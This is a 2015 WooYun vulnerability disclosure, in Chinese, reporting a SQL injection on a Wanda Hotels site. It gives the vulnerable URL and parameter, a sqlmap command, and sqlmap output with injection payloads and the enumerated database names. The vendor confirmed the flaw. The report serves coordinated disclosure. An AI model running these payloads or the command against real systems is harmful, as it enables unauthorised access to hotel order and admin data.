当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158938

漏洞标题:大连万达集团某站存在SQL注入漏洞可泄露酒店订单信息

相关厂商:大连万达集团股份有限公司

漏洞作者: 心云

提交时间:2015-12-07 00:19

修复时间:2016-01-21 10:40

公开时间:2016-01-21 10:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

http://www.wandahotels.com/index.php?a=show_discount&c=index&id=46&m=content


注入参数 id
单引号报错:

注入点单引号爆错.png


sqlmap.py -u "http://www.wandahotels.com/index.php?a=show_discount&c=index&id=46&m=content" --dbs -p id

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 212 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: a=show_discount&c=index&id=46 AND 3000=3000&m=content
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: a=show_discount&c=index&id=46 AND (SELECT 1690 FROM(SELECT COUNT(*),CONCAT(0x71627a7671,(SELECT (ELT(1690=1690,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.C
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: a=show_discount&c=index&id=46 OR SLEEP(5)&m=content
---
[22:55:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, JSP
back-end DBMS: MySQL 5.0
[22:55:04] [INFO] fetching database names
[22:55:09] [INFO] the SQL query used returns 3 entries
[22:55:10] [INFO] retrieved: information_schema
[22:55:10] [INFO] retrieved: test
[22:55:10] [INFO] retrieved: wandahotel_2015
available databases [3]:
[*] information_schema
[*] test
[*] wandahotel_2015


漏洞证明:

表信息:

表.png


admin:

admin.png


可泄露订单:

dingdan.png

修复方案:

可泄露酒店订单信息

版权声明:转载请注明来源 心云@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-12-07 10:31

厂商回复:

感谢心云同学的关注与贡献!马上通知业务整改!

最新状态:

暂无


漏洞评价:

评价